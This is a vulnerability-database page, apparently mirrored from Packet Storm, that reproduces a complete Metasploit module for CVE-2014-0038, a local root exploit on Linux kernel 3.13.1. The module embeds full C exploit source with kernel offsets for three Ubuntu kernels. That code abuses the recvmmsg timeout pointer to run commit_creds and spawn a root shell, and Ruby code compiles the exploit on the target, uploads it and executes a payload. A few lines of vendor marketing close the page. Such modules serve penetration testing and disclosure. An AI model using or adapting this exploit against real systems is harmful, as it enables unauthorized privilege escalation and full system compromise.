Lucene search
K

Linux Kernel 3.13.1 Recvmmsg Privilege Escalation

🗓️ 10 Oct 2016 00:00:00Reported by rebelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 53 Views

Linux Kernel 3.13.1 Recvmmsg Privilege Escalation module exploits CVE-2014-0038 by sending a recvmmsg system call with a crafted timeout pointer parameter to gain root

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "msf/core"  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',  
'Description' => %q{  
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg  
system call with a crafted timeout pointer parameter to gain root.  
This exploit has offsets for 3 Ubuntu 13 kernels built in:  
3.8.0-19-generic (13.04 default)  
3.11.0-12-generic (13.10 default)  
3.11.0-15-generic (13.10)  
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)  
pointer which starts at 0xff*3 (765 seconds)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <[email protected]>', # Module  
'rebel' # Discovery  
],  
'DisclosureDate' => 'Feb 2 2014',  
'Platform' => [ 'linux'],  
'Arch' => [ ARCH_X86, ARCH_X86_64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'Auto', { } ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },  
'References' =>  
[  
[ 'EDB', '31347'],  
[ 'EDB', '31346'],  
[ 'CVE', '2014-0038'],  
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']  
]  
))  
register_options(  
[  
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])  
], self.class)  
end  
  
def check  
def kernel_vuln?()  
os_id = cmd_exec('grep ^ID= /etc/os-release')  
if os_id == 'ID=ubuntu'  
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))  
case kernel.release.to_s  
when '3.11.0'  
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')  
vprint_good("Kernel #{kernel} is exploitable")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")  
return false  
end  
when '3.8.0'  
if kernel == Gem::Version.new('3.8.0-19-generic')  
vprint_good("Kernel #{kernel} is exploitable")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")  
return false  
end  
else  
print_error("Non-vuln kernel #{kernel}")  
return false  
end  
else  
print_error("Unknown OS: #{os_id}")  
return false  
end  
end  
  
if kernel_vuln?()  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
def exploit  
  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
  
# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size  
  
recvmmsg = %q{  
/*  
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*  
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)  
CVE-2014-0038 / x32 ABI with recvmmsg  
by rebel @ irc.smashthestack.org  
-----------------------------------  
*/  
  
#define _GNU_SOURCE  
#include <netinet/ip.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <unistd.h>  
#include <sys/syscall.h>  
#include <sys/mman.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <sys/utsname.h>  
  
#define __X32_SYSCALL_BIT 0x40000000  
#undef __NR_recvmmsg  
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)  
#define VLEN 1  
#define BUFSIZE 200  
  
int port;  
  
struct offset {  
char *kernel_version;  
unsigned long dest; // net_sysctl_root + 96  
unsigned long original_value; // net_ctl_permissions  
unsigned long prepare_kernel_cred;  
unsigned long commit_creds;  
};  
  
struct offset offsets[] = {  
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10  
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10  
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04  
{NULL,0,0,0,0}  
};  
  
void udp(int b) {  
int sockfd;  
struct sockaddr_in servaddr,cliaddr;  
int s = 0xff+1;  
  
if(fork() == 0) {  
while(s > 0) {  
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));  
sleep(1);  
s--;  
fprintf(stderr,".");  
}  
  
sockfd = socket(AF_INET,SOCK_DGRAM,0);  
bzero(&servaddr,sizeof(servaddr));  
servaddr.sin_family = AF_INET;  
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);  
servaddr.sin_port=htons(port);  
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));  
exit(0);  
}  
  
}  
  
void trigger() {  
open("/proc/sys/net/core/somaxconn",O_RDONLY);  
  
if(getuid() != 0) {  
fprintf(stderr,"not root, ya blew it!\n");  
exit(-1);  
}  
  
fprintf(stderr,"w00p w00p!\n");  
system("/bin/sh -i");  
}  
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
_commit_creds commit_creds;  
_prepare_kernel_cred prepare_kernel_cred;  
  
// thx bliss  
static int __attribute__((regparm(3)))  
getroot(void *head, void * table)  
{  
commit_creds(prepare_kernel_cred(0));  
return -1;  
}  
  
void __attribute__((regparm(3)))  
trampoline()  
{  
asm("mov $getroot, %rax; call *%rax;");  
}  
  
int main(void)  
{  
int sockfd, retval, i;  
struct sockaddr_in sa;  
struct mmsghdr msgs[VLEN];  
struct iovec iovecs[VLEN];  
char buf[BUFSIZE];  
long mmapped;  
struct utsname u;  
struct offset *off = NULL;  
  
uname(&u);  
  
for(i=0;offsets[i].kernel_version != NULL;i++) {  
if(!strcmp(offsets[i].kernel_version,u.release)) {  
off = &offsets[i];  
break;  
}  
}  
  
if(!off) {  
fprintf(stderr,"no offsets for this kernel version..\n");  
exit(-1);  
}  
  
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));  
mmapped &= 0x000000ffffffffff;  
  
srand(time(NULL));  
port = (rand() % 30000)+1500;  
  
commit_creds = (_commit_creds)off->commit_creds;  
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;  
  
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);  
  
if(mmapped == -1) {  
perror("mmap()");  
exit(-1);  
}  
  
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);  
  
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);  
  
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {  
perror("mprotect()");  
exit(-1);  
}  
  
sockfd = socket(AF_INET, SOCK_DGRAM, 0);  
if (sockfd == -1) {  
perror("socket()");  
exit(-1);  
}  
  
sa.sin_family = AF_INET;  
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  
sa.sin_port = htons(port);  
  
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {  
perror("bind()");  
exit(-1);  
}  
  
memset(msgs, 0, sizeof(msgs));  
  
iovecs[0].iov_base = &buf;  
iovecs[0].iov_len = BUFSIZE;  
msgs[0].msg_hdr.msg_iov = &iovecs[0];  
msgs[0].msg_hdr.msg_iovlen = 1;  
  
for(i=0;i < 3 ;i++) {  
udp(i);  
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);  
if(!retval) {  
fprintf(stderr,"\nrecvmmsg() failed\n");  
}  
}  
  
close(sockfd);  
fprintf(stderr,"\n");  
trigger();  
}  
}  
  
filename = rand_text_alphanumeric(8)  
executable_path = "#{datastore['WritableDir']}/#{filename}"  
payloadname = rand_text_alphanumeric(8)  
payload_path = "#{datastore['WritableDir']}/#{payloadname}"  
  
def has_prereqs?()  
gcc = cmd_exec('which gcc')  
if gcc.include?('gcc')  
vprint_good('gcc is installed')  
else  
print_error('gcc is not installed. Compiling will fail.')  
end  
return gcc.include?('gcc')  
end  
  
compile = false  
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'  
if has_prereqs?()  
compile = true  
vprint_status('Live compiling exploit on system')  
else  
vprint_status('Dropping pre-compiled exploit on system')  
end  
end  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
def upload_and_chmod(fname,fcontent)  
print_status "Writing to #{fname} (#{fcontent.size} bytes)"  
rm_f fname  
write_file(fname, fcontent)  
cmd_exec("chmod +x #{fname}")  
register_file_for_cleanup(fname)  
end  
  
if compile  
recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,  
"system(\"#{payload_path}\");")  
upload_and_chmod("#{executable_path}.c", recvmmsg)  
vprint_status("Compiling #{executable_path}.c")  
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile  
register_file_for_cleanup(executable_path)  
else  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')  
fd = ::File.open( path, "rb")  
recvmmsg = fd.read(fd.stat.size)  
fd.close  
upload_and_chmod(executable_path, recvmmsg)  
# overwrite with the hardcoded variable names in the compiled versions  
payload_filename = 'a0RwAacU'  
payload_path = "/tmp/#{payload_filename}"  
end  
  
upload_and_chmod(payload_path, generate_payload_exe)  
stime = Time.now  
vprint_status("Exploiting... May take 13min. Start time: #{stime}")  
output = cmd_exec(executable_path)  
output.each_line { |line| vprint_status(line.chomp) }  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation